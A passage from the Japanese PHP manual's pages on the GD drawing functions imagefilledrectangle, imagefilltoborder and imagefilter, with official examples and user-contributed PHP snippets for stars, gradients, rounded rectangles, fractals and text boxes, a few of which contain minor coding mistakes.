            if ($y2 < $scanline) { $scanline = $y2; }
        }
    }
    // draw
    $active = array();
    do {
        // add edges to active array
        $tmp = array();
        $n = count($all_edges);
        for($i=0; $i<$n; $i++) {
            if ($all_edges[$i][0] == $scanline) {
                $active[] = $all_edges[$i];
            } else {
                $tmp[] = $all_edges[$i];
            }
        }
        $all_edges = $tmp;
        // remove previous edges from active array
        $tmp = array();
        $n = count($active);
        for($i=0; $i<$n; $i++) {
            if ($active[$i][1] > $scanline) {
                $tmp[] = $active[$i];
            }
        }
        $active = $tmp;
        // sort active tab
        $n = count($active);
        for($i=0; $i<$n-1; $i++) {
            $min = $i;
            for($k=$i+1; $k<$n; $k++) {
                if ($active[$k][2] < $active[$min][2]) { $min = $k; }
            }
            if ($i != $min) {
                $tmp = $active[$i];
                $active[$i] = $active[$min];
                $active[$min] = $tmp;
            }
        }
        // draw
        $n = count($active);
        for($i=0; $i<$n; $i+=2) {
            if ($i+1 < $n) {
                if ($tmp[$i][2] == $active[$i+1][2]) {
                    imagesetpixel($img, round($active[$i][2]), $scanline, $color);
                } else {
                    imageline($img, round($active[$i][2]), $scanline, round($active[$i+1][2]), $scanline, $color);
                }
            }
        }
        // increment x values
        $n = count($active);
        for($i=0; $i<$n; $i++) { $active[$i][2] += $active[$i][3]; }
        $scanline++;
    } while (count($all_edges) + count($active) > 0);
}
?>
webmaster at mywebsolution dot de 22-Oct-2007 02:24
Just thought that 'tatlar at yahoo dot com's function has some redundant code in it, so I tried to "improve" it. Now you can choose a variable number of spikes.

<?php
error_reporting(E_ALL);
function drawStar($x, $y, $radius, $spikes=5) {
    // $x, $y -> Position in the image
    // $radius -> Radius of the star
    // $spikes -> Number of spikes

    $coordinates = array();
    $angel = 360 / $spikes ;

    // Get the coordinates of the outer shape of the star
    $outer_shape = array();
    for($i=0; $i<$spikes; $i++){
        $outer_shape[$i]['x'] = $x + ($radius * cos(deg2rad(270 - $angel*$i)));
        $outer_shape[$i]['y'] = $y + ($radius * sin(deg2rad(270 - $angel*$i)));
    }

    // Get the coordinates of the inner shape of the star
    $inner_shape = array();
    for($i=0; $i<$spikes; $i++){
        $inner_shape[$i]['x'] = $x + (0.5*$radius * cos(deg2rad(270-180 - $angel*$i)));
        $inner_shape[$i]['y'] = $y + (0.5*$radius * sin(deg2rad(270-180 - $angel*$i)));
    }

    // Bring the coordinates in the right order
    foreach($inner_shape as $key => $value){
        if($key == (floor($spikes/2)+1))
             break;
        $inner_shape[] = $value;
        unset($inner_shape[$key]);
    }

    // Reset the keys
    $i=0;
    foreach($inner_shape as $value){
        $inner_shape[$i] = $value;
        $i++;
    }

    // "Merge" outer and inner shape
    foreach($outer_shape as $key => $value){
         $coordinates[] = $outer_shape[$key]['x'];
         $coordinates[] = $outer_shape[$key]['y'];
         $coordinates[] = $inner_shape[$key]['x'];
         $coordinates[] = $inner_shape[$key]['y'];
    }

    // Return the coordinates
    return $coordinates ;
}

// Example
$spikes = 5;

$values = drawStar(250, 250, 200, $spikes);
$im = imagecreate(500,500);
imagecolorallocate($im,0,0,0);
$w = imagecolorallocate($im, 255, 255, 255);
imagefilledpolygon($im, $values, $spikes*2, $w);
imageGIF($im);
imagedestroy($im);
?>
jylyn at hotmail dot com 16-Oct-2006 05:11
In spite of what it says about requiring more than 3 vertices, it is possible to draw a triangle with this function!
tatlar at yahoo dot com 11-Sep-2006 05:08
<?php function _makeFiveSidedStar( $x, $y, $radius, $shape='polygon', $spiky=NULL ) {
    // $x, $y co-ords of origin (in pixels), $radius (in pixels), $shape - 'polygon' or 'star', $spikiness - ratio between 0 and 1
    $point = array() ;
    $angle = 360 / 5 ;
    $point[0]['x'] = $x ;
    $point[0]['y'] = $y - $radius ;
    $point[2]['x'] = $x + ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[2]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    $point[4]['x'] = $x + ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[4]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['x'] = $x - ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[8]['x'] = $x - ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[8]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    if( $shape == 'star' ) {
        if( $spiky == NULL ) $spiky = 0.5 ;  // default to 0.5
        $indent = $radius * $spiky ;
        $point[1]['x'] = $x + ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[1]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[3]['x'] = $x + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[3]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[5]['x'] = $x ;
        $point[5]['y'] = $y + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['x'] = $x - ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[9]['x'] = $x - ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[9]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
    }
    ksort( $point ) ;
    $coords = array() ;  // new array
    foreach( $point as $pKey=>$pVal ) {
        if( is_array( $pVal ) ) {
            foreach( $pVal as $pSubKey=>$pSubVal ) {
                if( !empty( $pSubVal ) ) array_push( $coords, $pSubVal ) ;
            }
        }
    }
    return $coords ;
}
$values = _makeFiveSidedStar( 100, 100, 50, 'star' ) ;
// Put values into imagepolygon function. You need to define the $image and $color, and flush it out to an image type.?>
etnekor at tar dot hu 22-Jan-2006 01:18
There is a simple function to draw a filled point with a chosen radius and color.

<?php
function drawPoint($img, $radius, $origo_x, $origo_y, $pointColor)
{
  for ($i=0;$i<=360;$i++)
  {
    $pont[] = $origo_x + ($radius * sin(deg2rad($i)));
    $pont[] = $origo_y - ($radius * cos(deg2rad($i)));
  }
  reset($pont);
  ImageFilledPolygon ($img, $pont, (sizeof($pont)/2), $pointColor);
}
?>


塗りつぶした矩形を描画する

  • ≪ imagefilledpolygon
  • imagefilltoborder ≫
  • PHP Manual
  • GD および Image 関数
  • 塗りつぶした矩形を描画する

imagefilledrectangle

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefilledrectangle — 塗りつぶした矩形を描画する

説明

imagefilledrectangle ( resource $image , int $x1 , int $y1 , int $x2 , int $y2 , int $color ) : bool

色 color で塗りつぶした矩形を、 指定した image 上に作成します。 開始位置と終了位置を指定します。0, 0 が画像の左上角を表します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

x1

開始位置の x 座標。

y1

開始位置の y 座標。

x2

終了位置の x 座標。

y2

終了位置の y 座標。

color

塗りつぶし色。imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagefilledrectangle() の例

<?php
// 55x30 の画像を作成します
$im = imagecreatetruecolor(55, 30);
$white = imagecolorallocate($im, 255, 255, 255);

// 白の矩形を描画します
imagefilledrectangle($im, 4, 4, 50, 25, $white);

// 画像を保存します
imagepng($im, './imagefilledrectangle.png');
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagefilledrectangle()

User Contributed Notes

Darren Edale 03-Oct-2013 09:58
The issue with filling using a rectangle is caused in your code by having alpha blending turned on before rendering the filled rectangle. Alpha blending causes what you draw on the image to be blended with whatever is already on the image according to the alpha channels of each. Therefore, because blending is on, and because the rectangle's fill colour is completely transparent, the blending of the existing image content with the transparent rectangle results in no change to the existing image.

With blending off, when drawing to the image what you draw completely replaces what is already there. So, drawing the rectangle in this case results in the original content of the image being completely replaced with a transparent rectangle.

So in order to use imagefilledrectangle() to erase an image to transparency, you need to turn off alpha blending first.

I guess the reason imagefill() works with alpha blending on is because it does not perform any alpha blending - it always works without alpha blending regardless of the setting. I suspect there are reasons for this to do with alpha channels complicating edge detection.

I would recommend using imagefilledrectangle() to create a blank transparent image resource instead of imagefill() because it is undoubtedly much faster in probably all cases.

Here is some example code to blank an image to transparent, assuming $im is a successfully created image:

<?php
$transparent = imagecolorallocatealpha($im, 0, 0, 0, 127);
imagealphablending($im, false);
imagefilledrectangle($im, 0, 0, imagesx($im) - 1, $imagesy($im) - 1, $transparent);
imagecolordeallocate($transparent);
imagealphablending($im, true);
?>
olivier dot pons at google dot mail dot com 21-Aug-2012 09:48
I wanted to clear an image, and set it to full transparent.
imagefilledrectangle() seems to ignore alpha channel and alpha blending.
Use imagefill() instead:

<?php
$w = imagesx($final);
$h = imagesy($final);
$grande = imagecreatetruecolor($w, $h);

// Alpha blending on to use channel alpha
imagealphablending($grande, true);
// Allocate a transparent color and fill the new image with it.
// Without this the image will have a black background instead
// of being transparent.
$transparent = imagecolorallocatealpha($grande, 0, 0, 0, 127);
// transparent alpha will be _ignored_:
imagefilledrectangle($grande, 0, 0, $w, $h, $transparent);
// ok, transparent will be used and set whole alpha channel to transparent:
imagefill($grande, 0, 0, $transparent);
?>
Tobi 25-Sep-2010 02:48
It looks like there are waves beetween the points, but it's straight.

<?php
$maxwert = 300;
$size = 10;
$img = imagecreatetruecolor($maxwert, $maxwert);
imagecolorallocate($img, 0, 0, 0);

   for($y=0;$y<$maxwert;$y += $size){
     for($x=0;$x<$maxwert;$x+=$size){
      $r = rand(0,255);
      $g = rand(0,255);
      $b = rand(0,255);
      $color = imagecolorallocate($img, $r, $g, $b);

      imagefilledrectangle ($img, $x, $y, $x+$size ,$y+$size, $color);

     }
   }
header("Content-type: image/png");
imagepng($img);
?>
Mice32 19-Mar-2010 04:57
That script draws Serpinski's carpet:

<?php
    set_time_limit(5);

    $i = 4;        // Iterations
    $xy = 500;    // Picture size

    $img = imagecreatetruecolor($xy, $xy);

    $white = imagecolorallocate($img, 255, 255, 255);

    drawCarpet(0, 0, $xy, $xy, $i);
    function drawCarpet($a, $b, $c, $d, $n) {
        global $img, $white;

        if($n <= 0) return;

        $a1 = 2 * $a / 3 + $c / 3;
        $c1 = $a / 3 + 2 * $c / 3;
        $b1 = 2 * $b / 3 + $d / 3;
        $d1 = $b / 3 + 2 * $d / 3;

        imagefilledrectangle($img, $a1, $b1, $c1, $d1, $white);

        drawCarpet($a, $b, $a1, $b1, $n - 1);
        drawCarpet($a1, $b, $c1, $b1, $n - 1);
        drawCarpet($c1, $b, $c, $b1, $n - 1);

        drawCarpet($c1, $b, $c, $b1, $n - 1);
        drawCarpet($a, $b1, $a1, $d1, $n - 1);
        drawCarpet($c1, $b1, $c, $d1, $n - 1);

        drawCarpet($a, $d1, $a1, $d, $n - 1);
        drawCarpet($a1, $d1, $c1, $d, $n - 1);
        drawCarpet($c1, $d1, $c, $d, $n - 1);
    }

    header('Content-Type: image/png');
    imagepng($img);
?>
mike at delenk dot net 07-May-2008 12:55
The examples in function imagettfbbox() gave me many problems because of misunderstand of how the text is positionned in the box.

So I did a new example:
- writing a text
- in the correct position in its box
- with a padding around

Enjoy !
Mike

<?

// some settings
    $angle = 0;
    $text = 'Uhg 0123456789';
    $font_face = dirname(__FILE__).'/verdana.ttf'; // put the file in the same directory
    $font_size = 9; //(int) pixels in GD 1, or points in GD 2

// retrieves box frame
    $box = imagettfbbox($font_size, 0, $font_face, $text);
    $bottom_left_x = $box[0]; // used below
    $bottom_left_y = $box[1]; // used below
    $bottom_right_x = $box[2]; // used below
    $bottom_right_y = $box[3];
    $top_right_x = $box[4];
    $top_right_y = $box[5];
    $top_left_x = $box[6];
    $top_left_y = $box[7]; // used below

// define width and height of the text box
    $box_w = abs($bottom_left_x) + abs($bottom_right_x);
    $box_h = abs($bottom_left_y) + abs($top_left_y);

// add padding
    $padding_x = 5;
    $padding_y = 5;
    $box_w = $box_w + 2 * $padding_x;
    $box_h = $box_h + 2 * $padding_y;

// origin of the text = baseline of the first char
    $text_x = abs($bottom_left_x) -1 + $padding_x;
    $text_y = $box_h -1 - abs($bottom_left_y) - $padding_y;

// mysterious correction for the characters going low like pgjq
    if(abs($bottom_left_y) <= 1) $box_h--;

// create the image
    $img = imagecreatetruecolor($box_w, $box_h);

// define some colors
    $white = imagecolorallocate($img,255,255,255);
    $black = imagecolorallocate($img,0,0,0);
    $lightgrey = imagecolorallocate($img, 200, 200, 200);
    $grey = imagecolorallocate($img,100,100,100);
    $yellow = imagecolorallocate($img, 0xFF, 0xFF, 0x00);

// attribute colors
    $font_color =  $black;
    $padding_color =  $lightgrey;
    $background_color =  $yellow;

// fill image with background color
    imagefill($img, 0, 0, $background_color);

// fill image with padding color
    imagefilledrectangle($img, 0, 0, $box_w, $padding_y - 1, $padding_color); // top
    imagefilledrectangle($img, 0, 0, $padding_x - 1, $box_h - 1, $padding_color); // left
    imagefilledrectangle($img, 0, $box_h - $padding_y -1, $box_w, $box_h - 1, $padding_color); // bottom
    imagefilledrectangle($img, $box_w - $padding_x, 0, $box_w - 1, $box_h - 1, $padding_color); // right

//write text
imagettftext($img, $font_size, 0, $text_x, $text_y, $font_color, $font_face, $text);

//rotate image
    if ($angle > 0) $img = imagerotate($img, $angle, $white);

// send header
    header("Content-type: image/gif");

//sends image
    imagegif($img);
    imagedestroy($img);
?>
Google 15-Dec-2006 01:35
<?php
//index.php
//set your year, month, daym hour, minute, second you want to cuuntdown to.

//ONLY CHANGE FROM HERE
$year="2006";
$month="12";
$day="25";
$hour="00";
$minute="00";
$second="00";
$event="Christmas Day 2006";

$time=mktime($hour, $minute, $second, $month, $day, $year);

$timecurrent=date('U');
$cdtime=$time-$timecurrent;
$cdmonths=$cddays/30;
$cdyears=$cddays/365;

//Used this case only...
$cdminutes=round($cdtime/60);
//cdtime is seconds
$cdhours=round($cdtime/3600);
$cddays=round($cdhours/24);

//String the date
$currentdate = date('l, F j, Y');
// Set the content-type
header("Content-type: image/png");

// Create the image
$im = imagecreatetruecolor(701, 355);

//Temp BGCOLOR (center of c-finder)
$bg1 = 208;
$bg2 = 130;
$bg3 = 208;

$s1 = $bg1 - 20;
$s2 = $bg2 - 20;
$s3 = $bg3 - 20;

$t1 = $bg1 + 30;
$t2 = $bg2 + 30;
$t3 = $bg3 + 30;

$cArray=array();
    $c1 = imagecolorallocate($im, $bg1, $bg2, $bg3); //Background
    $c8 = imagecolorallocate($im, 255, $bg2, 255); //Background
    $c2 = imagecolorallocate($im, $s1, $s2, $s3); //Shadow
    $c3 = imagecolorallocate($im, $t1, $t2, $t3); //Text

imagefilledrectangle($im, 0, 0, 701, 50, $c1);

imagefilledrectangle($im, 0, 0, 701, 50, $c8);

// The text to draw
$text = $string;
// Replace path by your own font path
$fnum = rand(1, 9);
$font = "/f/font ($fnum)";

// Add some shadow to the text
imagettftext($im, 29, 1, 17, 42, $c2, $font, "Today is:");
imagettftext($im, 28, -1, 15, 40, $c3, $font, "Today is:");
imagettftext($im, 29, 1, 17, 92, $c2, $font, "...$currentdate...");
imagettftext($im, 28, -1, 15, 90, $c3, $font, "...$currentdate...");
imagettftext($im, 29, 1, 17, 142, $c2, $font, "So there are exactly:");
imagettftext($im, 28, -1, 15, 140, $c3, $font, "So there are exactly:");
imagettftext($im, 29, 1, 17, 192, $c2, $font, "$cddays with just...");
imagettftext($im, 28, -1, 15, 190, $c3, $font, "$cddays days with just...");
imagettftext($im, 29, 1, 17, 242, $c2, $font, "$cdminutes minutes and only...");
imagettftext($im, 28, -1, 15, 240, $c3, $font, "$cdminutes minutes and only...");
imagettftext($im, 29, 1, 17, 292, $c2, $font, "$cdseconds seconds until...");
imagettftext($im, 28, -1, 15, 290, $c3, $font, "$cdseconds seconds until...");
imagettftext($im, 29, 1, 17, 342, $c2, $font, "- + $event + -");
imagettftext($im, 28, -1, 15, 340, $c3, $font, "- + $event + -");

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>
info at 555webdesign dot com 25-Oct-2006 10:13
Thanks terereese. it took me over two hours to figure that one out.
it worked locally: imagefilledrectangle(imagresource, int x1, int x2, int y1, inty2, color)

BUT remote on my provider only this worked: imagefilledrectangle(imagresource, int x1, int y2, int x1, inty1, color)

Any ideas why and where?
terereese at hotmail dot com 11-Jul-2006 08:02
I would like to inform developers about a problem I encountered when trying to use imagefilledrectangle.

I noted that the order in which the start and end y coordinates are listed is extremely important.
as in the statements below.
if($this->d_values[$i]['unit_value'] < 0)
imagefilledrectangle($this->img,$position_x, $start_y , $end_x, $end_y ,$d_color);
else
imagefilledrectangle($this->img, $position_x,$ end_y , $end_x, $start_y,$d_colour);

Thanks
administrador(ensaimada)sphoera(punt)com 03-May-2006 03:33
I've made a function to make full color gradients:

<?php

// The image must be in truecolor mode!!
    function gradient_region($img, $x, $y, $width, $height,$src_color, $dest_color=0){
        $src_alpha = ($src_color) >> 24;
        $src_red = ($src_color & 0xFF0000) >> 16;
        $src_green = ($src_color & 0x00FF00) >> 8;
        $src_blue = ($src_color & 0x0000FF);

        $dest_alpha = ($dest_color) >> 24;
        $dest_red = ($dest_color & 0xFF0000) >> 16;
        $dest_green = ($dest_color & 0x00FF00) >> 8;
        $dest_blue = ($dest_color & 0x0000FF);

        $inc_alpha = ($dest_alpha - $src_alpha) / $width;
        $inc_red = ($dest_red - $src_red)/$width;
        $inc_green = ($dest_green - $src_green)/$width;
        $inc_blue = ($dest_blue - $src_blue)/$width;

        // If you need more performance, the step can be increased
        for ($i=0;$i<$width;$i++){
            $src_alpha += $inc_alpha;
            $src_blue += $inc_blue;
            $src_green += $inc_green;
            $src_red += $inc_red;
            imagefilledrectangle($img,
                $x+$i,$y,
                $x+$i,$y+$height,
                imagecolorallocatealpha($img,
                $src_red,$src_green,$src_blue,$src_alpha));
        }
    }
?>

More functions at http://www.sphoera.com
me [a.t.] forestfactory [d.o.t.] de 12-Oct-2005 04:44
As of PHP 5, it seems to be no longer necessary to draw the rectangle from the upper left to the lower right corner. This led me into big trouble porting a script developed under PHP 5 to PHP 4.
michal dot kocarek at seznam dot cz 30-May-2004 01:18
If you want to draw a rectangle with rounded corners, you can use this simple function...
Rectangle starts at x1y1 and ends at x2y2. $radius defines radius of circled corner.

<?

function ImageRectangleWithRoundedCorners(&$im, $x1, $y1, $x2, $y2, $radius, $color) {
// draw rectangle without corners
imagefilledrectangle($im, $x1+$radius, $y1, $x2-$radius, $y2, $color);
imagefilledrectangle($im, $x1, $y1+$radius, $x2, $y2-$radius, $color);
// draw circled corners
imagefilledellipse($im, $x1+$radius, $y1+$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x2-$radius, $y1+$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x1+$radius, $y2-$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x2-$radius, $y2-$radius, $radius*2, $radius*2, $color);
}

?>
booga 17-Jan-2004 05:48
a simple way of using imagerectangle to create a percentage bar

<?php
//this needs to reside in its own php page
//you can include that php page in your html as you would an image:
//<IMG SRC="ratingpng.php?rating=25.2" border="0">

function drawRating($rating) {
    $image = imagecreate(102,10);
    $back = ImageColorAllocate($image,255,255,255);
    $border = ImageColorAllocate($image,0,0,0);
    $red = ImageColorAllocate($image,255,60,75);
    $fill = ImageColorAllocate($image,44,81,150);
    ImageFilledRectangle($image,0,0,101,9,$back);
    ImageFilledRectangle($image,1,1,$rating,9,$fill);
    ImageRectangle($image,0,0,101,9,$border);
    imagePNG($image);
    imagedestroy($image);
}

Header("Content-type: image/png");
drawRating($rating);

?>
ivank at 2xtreme dot net 30-Mar-2002 04:34
As stated above, it needs to go from the top left corner to the bottom right corner. Just use this to flip it if neccessary:

// flip them if neccessary (x3, y3 are temp vars)
if($x1 > $x2) { $x3 = $x2; $x2 = $x1; $x1 = $x3; }
if($y1 > $y2) { $y3 = $y2; $y2 = $y1; $y1 = $y3; }
ImageFilledRectangle($im, $x1, $y1, $x2, $y2, $color);
saramg at uclink dot berkeley dot edu 29-Nov-2001 07:42
Important quirk to note:

While imagerectangle will allow you to use a different order of your coordinates (such as bottom-left to upper-right), imagefilledrectangle will only work correctly if you use top-left to bottom-right as indicated in the docs.


特定色で塗りつぶす

  • ≪ imagefilledrectangle
  • imagefilter ≫
  • PHP Manual
  • GD および Image 関数
  • 特定色で塗りつぶす

imagefilltoborder

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefilltoborder — 特定色で塗りつぶす

説明

imagefilltoborder ( resource $image , int $x , int $y , int $border , int $color ) : bool

imagefilltoborder()は、 borderで指定した色を境界色として塗りつぶし を行います。(x,y)が 塗りつぶしの始点(左上が0, 0)で、領域内を color色で塗りつぶします。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

x

開始位置の x 座標。

y

開始位置の y 座標。

border

境界色。imagecolorallocate() で作成された色識別子。

color

塗りつぶし色。imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 楕円の塗りつぶし

<?php
// 画像ハンドルを作成し、背景を白に設定します
$im = imagecreatetruecolor(100, 100);
imagefilledrectangle($im, 0, 0, 100, 100, imagecolorallocate($im, 255, 255, 255));

// 黒い線で楕円を描画します
imageellipse($im, 50, 50, 50, 50, imagecolorallocate($im, 0, 0, 0));

// 枠線と塗りつぶしの色を設定します
$border = imagecolorallocate($im, 0, 0, 0);
$fill = imagecolorallocate($im, 255, 0, 0);

// 選択した部分を塗りつぶします
imagefilltoborder($im, 50, 50, $border, $fill);

// 出力し、メモリを開放します
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : 楕円の塗りつぶし

注意

塗りつぶしのアルゴリズムは、 どのピクセルが既に設定されているかについて明示的に記憶しません。 むしろピクセルの色からそれを推測しようとします。 よって、そのピクセルが既に存在していたものか、 新たに設定されたものなのかは区別できません。 これは、画像で既に使われている色で画像を塗りつぶそうとすると、 望ましくない結果が得られることがあるということです。

User Contributed Notes

admin at worldlanguages dot tk 10-Sep-2004 02:54
In the example below, for those with newer GD versions, it makes more sense to replace:

imagearc($im, $center, $center, $diametre, $diametre, 0, 360, $el_color);

with:

imageellipse($im, $center, $center, $diametre, $diametre, $el_color);

This is obviously simpler.
edrad at wanadoo dot fr 11-Jun-2003 05:02
Very useful to build a pseudo-sphere with a color gradient...

<?php
 $width = 300;
 $center = $width / 2;
 $colordivs = 255 / $center;
 $im = @imagecreate($width, $width);
 $back_color = imagecolorallocate($im, 20, 30, 40);
 imagefill($im, 0, 0, $back_color);
 for ($i = 0; $i <= $center; $i++)
 {
     $diametre = $width - 2 * $i;
    $el_color = imagecolorallocate($im, $i * $colordivs, 0, 0);
    imagearc($im, $center, $center, $diametre, $diametre, 0, 360, $el_color);
    imagefilltoborder($im, $center, $center, $el_color, $el_color);
 }
 imagepng($im);
?>

Dark Skull Software
http://www.darkskull.net


画像にフィルタを適用する

  • ≪ imagefilltoborder
  • imageflip ≫
  • PHP Manual
  • GD および Image 関数
  • 画像にフィルタを適用する

imagefilter

(PHP 5, PHP 7, PHP 8)

imagefilter — 画像にフィルタを適用する

説明

imagefilter ( resource $image , int $filtertype , int $arg1 = ? , int $arg2 = ? , int $arg3 = ? , int $arg4 = ? ) : bool

imagefilter() は、指定したフィルタ filtertype を image に適用します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

filtertype

filtertype は、以下のいずれかです。

  • IMG_FILTER_NEGATE: 画像の色を反転させます。
  • IMG_FILTER_GRAYSCALE: REC.601 luma (Y') の計算と同じ係数を使い、 重み付けを赤、緑、青のコンポーネントごとに変えることで、 画像を白黒にします。アルファ値は保持されます。 パレットの制限のため、パレット画像の結果は異なるかもしれません。
  • IMG_FILTER_BRIGHTNESS: 画像の輝度を変更します。 輝度レベルを arg1 で設定します。輝度の範囲は -255 から 255 までです。
  • IMG_FILTER_CONTRAST: 画像のコントラストを 変更します。コントラストのレベルを arg1 で設定します。
  • IMG_FILTER_COLORIZE: IMG_FILTER_GRAYSCALE と似ていますが、 色を指定することが可能です。 arg1、arg2 および arg3 を使用して red、green、 blue の値を指定します。また arg4 を使用して alpha チャネルの値を指定します。 各値の範囲は 0 から 255 までです。
  • IMG_FILTER_EDGEDETECT: エッジを検出し、 画像のエッジを強調します。
  • IMG_FILTER_EMBOSS: 画像にエンボス処理を行います。
  • IMG_FILTER_GAUSSIAN_BLUR: ガウス分布を 使用して画像をぼかします。
  • IMG_FILTER_SELECTIVE_BLUR: 画像をぼかします。
  • IMG_FILTER_MEAN_REMOVAL: 平均を除去し、 「スケッチ風の」効果を得ます。
  • IMG_FILTER_SMOOTH: 画像を滑らかにします。 滑らかさのレベルを arg1 で指定します。
  • IMG_FILTER_PIXELATE: モザイク効果を画像に適用します。 arg1 でブロックの大きさを、 そして arg2 でモザイク効果のモードを指定します。
  • IMG_FILTER_SCATTER: Scatter 効果を 画像に適用します。arg1 と arg2 を効果の強さを定義するのに使い、 選んだピクセルの色にだけ適用するために 追加で arg3 を使います。

arg1

  • IMG_FILTER_BRIGHTNESS: 輝度レベル。
  • IMG_FILTER_CONTRAST: コントラストレベル。
  • IMG_FILTER_COLORIZE: 赤コンポーネントの値。
  • IMG_FILTER_SMOOTH: 平滑度レベル。
  • IMG_FILTER_PIXELATE: ピクセル単位のブロックサイズ。
  • IMG_FILTER_SCATTER: 効果を減らすレベル。 この値は、 arg2 で設定する追加レベル以上でなければなりません。

arg2

  • IMG_FILTER_COLORIZE: 緑コンポーネントの値。
  • IMG_FILTER_PIXELATE: 高度なモザイク効果を使用するか否か (デフォルトは false)。
  • IMG_FILTER_SCATTER: 効果の追加レベル

arg3

  • IMG_FILTER_COLORIZE: 青コンポーネントの値。
  • IMG_FILTER_SCATTER: オプション。 効果を適用するインデックスカラーの値の配列。

arg4

  • IMG_FILTER_COLORIZE: アルファチャネル。 0 から 127 までの値で、0 は完全な不透明、127 は完全な透明を表す。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.4.0 | Scatter 効果のサポート (IMG_FILTER_SCATTER) が追加されました。

例

例1 imagefilter() グレースケールの例

<?php
$im = imagecreatefrompng('dave.png');

if($im && imagefilter($im, IMG_FILTER_GRAYSCALE))
{
    echo 'Image converted to grayscale.';

    imagepng($im, 'dave.png');
}
else
{
    echo 'Conversion to grayscale failed.';
}

imagedestroy($im);
?>

例2 imagefilter() 輝度の例

<?php
$im = imagecreatefrompng('sean.png');

if($im && imagefilter($im, IMG_FILTER_BRIGHTNESS, 20))
{
    echo 'Image brightness changed.';

    imagepng($im, 'sean.png');
    imagedestroy($im);
}
else
{
    echo 'Image brightness change failed.';
}
?>

例3 imagefilter() 単色化の例

<?php
$im = imagecreatefrompng('philip.png');

/* R, G, B, so 0, 255, 0 is green */
if($im && imagefilter($im, IMG_FILTER_COLORIZE, 0, 255, 0))
{
    echo 'Image successfully shaded green.';

    imagepng($im, 'philip.png');
    imagedestroy($im);
}
else
{
    echo 'Green shading failed.';
}
?>

例4 imagefilter() での打ち消しの例

<?php
// Define our negate function so its portable for
// php versions without imagefilter()
function negate($im)
{
    if(function_exists('imagefilter'))
    {
        return imagefilter($im, IMG_FILTER_NEGATE);
    }

    for($x = 0; $x < imagesx($im); ++$x)
    {
        for($y = 0; $y < imagesy($im); ++$y)
        {
            $index = imagecolorat($im, $x, $y);
            $rgb = imagecolorsforindex($index);
            $color = imagecolorallocate($im, 255 - $rgb['red'], 255 - $rgb['green'], 255 - $rgb['blue']);

            imagesetpixel($im, $x, $y, $color);
        }
    }

    return(true);
}

$im = imagecreatefromjpeg('kalle.jpg');

if($im && negate($im))
{
    echo 'Image successfully converted to negative colors.';

    imagejpeg($im, 'kalle.jpg', 100);
    imagedestroy($im);
}
else
{
    echo 'Converting to negative colors failed.';
}
?>

例5 imagefilter() でのモザイク処理の例

<?php
// Load the PHP logo, we need to create two instances
// to show the differences
$logo1 = imagecreatefrompng('./php.png');
$logo2 = imagecreatefrompng('./php.png');

// Create the image instance we want to show the
// differences on
$output = imagecreatetruecolor(imagesx($logo1) * 2, imagesy($logo1));

// Apply pixelation to each instance, with a block
// size of 3
imagefilter($logo1, IMG_FILTER_PIXELATE, 3);
imagefilter($logo2, IMG_FILTER_PIXELATE, 3, true);

// Merge the differences onto the output image
imagecopy($output, $logo1, 0, 0, 0, 0, imagesx($logo1) - 1, imagesy($logo1) - 1);
imagecopy($output, $logo2, imagesx($logo2), 0, 0, 0, imagesx($logo2) - 1, imagesy($logo2) - 1);
imagedestroy($logo1);
imagedestroy($logo2);

// Output the differences
header('Content-Type: image/png');
imagepng($output);
imagedestroy($output);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagefilter() でのモザイク処理

例6 imagefilter() でのScatter効果の例

<?php
// Load the image
$logo = imagecreatefrompng('./php.png');

// Apply a very soft scatter effect to the image
imagefilter($logo, IMG_FILTER_SCATTER, 3, 5);

// Output the image with the scatter effect
header('Content-Type: image/png');
imagepng($logo);
imagedestroy($logo);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagefilter() scatter

注意

注意: IMG_FILTER_SCATTER の適用結果は常にランダムです。

参考

  • imageconvolution() - div および offset の係数を使用し、3x3 の畳み込み配列を適用する

User Contributed Notes

shahilahmed4242 at gmail dot com 18-Mar-2016 10:39
PHP Sepia Effect

  $myImage = imagecreatefromjpeg($f);
  imagefilter($myImage,IMG_FILTER_GRAYSCALE);
  imagefilter($myImage,IMG_FILTER_BRIGHTNESS,-30);
